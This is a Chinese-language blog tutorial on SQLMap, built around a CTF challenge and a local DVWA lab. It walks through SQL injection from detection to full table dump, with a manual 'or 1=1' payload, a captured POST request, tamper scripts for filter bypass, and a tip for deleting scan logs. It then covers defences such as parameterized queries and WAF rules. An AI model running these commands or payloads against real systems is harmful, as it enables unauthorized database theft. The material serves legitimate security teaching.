SQLMap 入门实战指南:原理、命令详解与防御(攻防世界-inget)

📅 发布时间:2026/7/6 11:06:51 👁️ 浏览次数:
SQLMap 入门实战指南:原理、命令详解与防御(攻防世界-inget)
⚠️警告SQLMap 是自动化渗透测试工具仅限本地离线靶场测试未经授权扫描目标属于违法行为。写在前面为什么还要学 SQLMap现在很多 WAF 很强自动化工具容易被拦。那为什么还要学 SQLMap我的观点理解原理看 SQLMap 的日志你能清楚看到它是如何构造 Payload 的比手动拼更快上手。效率工具在授权测试中它能帮你快速排查大量参数节省时间。防御视角知道攻击者怎么用你才知道怎么防。三年前我协助处理过一次数据泄露。攻击者就是用 SQLMap 扫出了一个隐藏的测试接口拖走了整个用户表。如果当时我们做了正确的参数化查询这场事故本可以避免。这篇文章把 SQLMap 的核心用法讲透让你既能用得好也能防得住。在进行攻防世界测试的时候遇到了这个题目inget请输入id尝试绕过尝试手动注入绕过# 可以拿到flag http://61.147.171.35:52065/?id or 11 --尝试使用sqlmap获取更多的信息比如数据库名称、表名、字段、数据等1、核心命令参数详解SQLMap 参数非常多新手容易晕。我整理了最常用的 20% 参数覆盖 80% 的场景。1.1 目标指定Target参数说明示例-u指定目标 URL-u http://target.com?id1-r从文件加载 HTTP 请求-r request.txt(用于 POST/复杂 header)--dataPOST 数据--data id1SubmitSubmit--cookie指定 Cookie--cookie PHPSESSIDabc1231.2 注入检测Injection参数说明示例-p指定测试参数-p id(只测 id 参数节省时间)--dbms指定数据库类型--dbms mysql(跳过指纹识别加速)--technique指定注入技术--techniqueBET(Boolean/Error/Time)1.3 数据枚举Enumeration参数说明示例--current-db获取当前数据库名必用--dbs获取所有数据库名权限足够时使用--tables获取表名需配合-D指定库--columns获取列名需配合-T指定表--dump导出数据需配合-T或-C--count仅统计行数快速判断数据量1.4 其他常用参数说明示例--batch自动选择默认选项必用否则每个问题都要手动确认--threads多线程--threads 5(加速但易被 WAF 封)--tamper绕过脚本--tamperspace2comment(绕过空格过滤)-vverbose 级别-v 3(显示详细请求包调试用)二、实战演示从检测到拖库环境是kali操作系统kaili操作系统官网镜像下载Get Kali | Kali Linux2.1 第一步检测注入点命令sqlmap -u http://61.147.171.35:52065/?id1 --batch说明-u目标 URL。--batch自动确认所有提示避免交互中断。预期输出SQLMap 会尝试多种 Payload。图片内容终端显示 SQLMap 检测过程。目的证明注入点检测成功。2.2 第二步获取当前数据库名命令sqlmap -u http://61.147.171.35:52065/?id1 --batch --current-db --batch预期输出显示数据库名cyber。拍摄内容终端显示 current database: cyber。目的证明成功获取数据库名称。2.3 第三步获取所有表名命令sqlmap -u http://61.147.171.35:52065/?id1 -D cyber --tables --batch说明-D cyber指定操作 cyber数据库。--tables列出该库下的所有表。图片内容终端显示表列表。目的证明成功获取表结构信息。2.4 第四步获取字段名命令sqlmap -u http://61.147.171.35:52065/?id1 -D cyber -T cyber --columns --batch说明-T users指定操作cyber表。--columns列出该表下的所有字段。拍摄内容终端显示字段列表。目的证明成功获取字段结构。2.5 第五步导出数据拖库命令sqlmap -u http://61.147.171.35:52065/?id1 -D cyber -T cyber --dump --batch说明--dump导出指定表的所有数据。文件保存位置/root/.local/share/sqlmap/output/61.147.171.35/dump/cyber/cyber.csv拍摄内容终端显示导出的用户数据表格。目的证明成功获取数据展示危害性。三、进阶用法POST 请求与 WAF 绕过3.1 处理 POST 请求启动本地dvwa靶站靶站如何搭建请看前面sql注入的文章# 启动靶站 docker run --rm -it -p 8080:80 vulnerables/web-dvwa # 登陆靶站并把难度调成 Security Level: mediumSQL Injection 模块是 GET 请求但实际项目中多是 POST。方法使用 Burp Suite 抓包保存为request.txt。request.txt 内容示例POST /vulnerabilities/sqli/ HTTP/1.1 Host: 192.168.6.100:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:148.0) Gecko/20100101 Firefox/148.0 Accept: text/html,application/xhtmlxml,application/xml;q0.9,*/*;q0.8 Accept-Language: zh-CN,zh;q0.9,zh-TW;q0.8,zh-HK;q0.7,en-US;q0.6,en;q0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 18 Origin: http://192.168.6.100:8080 Connection: close Referer: http://192.168.6.100:8080/vulnerabilities/sqli/ Cookie: languagezh_CN; welcomebanner_statusdismiss; cookieconsent_statusdismiss; PHPSESSIDmgumnb2vbkcoakvlta6op7s1k1; securitymedium Upgrade-Insecure-Requests: 1 Priority: u0, i Pragma: no-cache Cache-Control: no-cache id1SubmitSubmit命令sqlmap -r request.txt -p id --batch说明-p id指定只测试 id 参数避免测试 Submit 按钮浪费时。图片内容SQLMap 使用 -r 参数运行的截图。目的展示如何处理 POST 请求和复杂 Header。3.2 绕过简单过滤Tamper 脚本如果目标过滤了空格或关键词可以使用--tamper。常见脚本脚本名作用场景space2comment空格转注释过滤空格betweenAND 转 BETWEEN过滤 ANDcharencodeURL 编码过滤特殊字符randomcase随机大小写过滤关键字命令示例sqlmap.py -u URL --tamperspace2comment --batch⚠️注意不要一次性加载所有 tamper 脚本会极大降低速度。按需选择。四、防御方案如何防住 SQLMap作为开发者了解攻击工具是为了更好地防御。4.1 代码层防御根本参数化查询SQLMap 主要利用字符串拼接。使用预编译可免疫绝大多数攻击。# ✅ 安全 cursor.execute(SELECT * FROM users WHERE id %s, (user_id,))4.2 WAF 拦截配置 Web 应用防火墙识别 SQLMap 的特征。特征说明User-AgentSQLMap 默认 UA 包含sqlmap/请求频率高频请求同一参数Payload 特征包含AND 11,UNION SELECT,SLEEP()等Nginx 配置示例# 拦截 SQLMap 默认 UA if ($http_user_agent ~* sqlmap) { return 403; }4.3 最小权限原则数据库账号不要给root权限。即使被注入也无法DROP TABLE或读取系统文件。五、常见问题 QAQ为什么 SQLMap 跑不动一直卡在「testing connection」A网络不通检查 Docker 网络。目标有 WAF 拦截尝试降低--level或使用--tamper。会话过期Cookie 失效重新抓包更新request.txt。Q--level 和 --risk 是什么A--level(1-5)测试复杂度。越高测试的 Cookie/UA 越多越慢。默认 1。--risk(1-3) Payload 风险。越高越可能破坏数据如测试 OR 注入。默认 1。建议生产环境授权测试前先用低级别测试。QSQLMap 能测 NoSQL 注入吗A不能。SQLMap 主要针对关系型数据库MySQL, PostgreSQL, Oracle 等。NoSQL 需用其他工具。Q如何清理测试痕迹ASQLMap 会在本地~/.local/share/sqlmap/output/保存日志和会话。测试完成后建议清理。rm -rf ~/.local/share/sqlmap/output/target.com六、自查清单部署系统前可用 SQLMap 自测仅限授权所有输入参数是否都用 SQLMap 跑过是否检测到任何注入点如果检测到是否已修复并复测确认无效WAF 是否成功拦截了 SQLMap 扫描数据库账号权限是否最小化错误信息是否屏蔽了数据库细节总结SQLMap 是神器但不是万能药。核心要点自动化能提高效率但不能替代人工分析。理解 Payload 原理比会敲命令更重要。防御的根本在于代码规范不在于 WAF。法律红线不能碰未经授权严禁扫描。建议把在本地搭建靶站 DVWA 中的 SQL Injection 模块用 SQLMap 完整跑一遍熟悉每个参数的输出含义。然后回头看自己的代码想想如果别人用 SQLMap 扫你的系统能扫出什么。关注收藏持续更新帮助新手快速入门网络安全免责声明本文所有内容仅供学习与授权测试使用。使用 SQLMap 对未经授权的目标进行扫描、攻击属于违法行为请务必在法律允许范围内进行安全研究。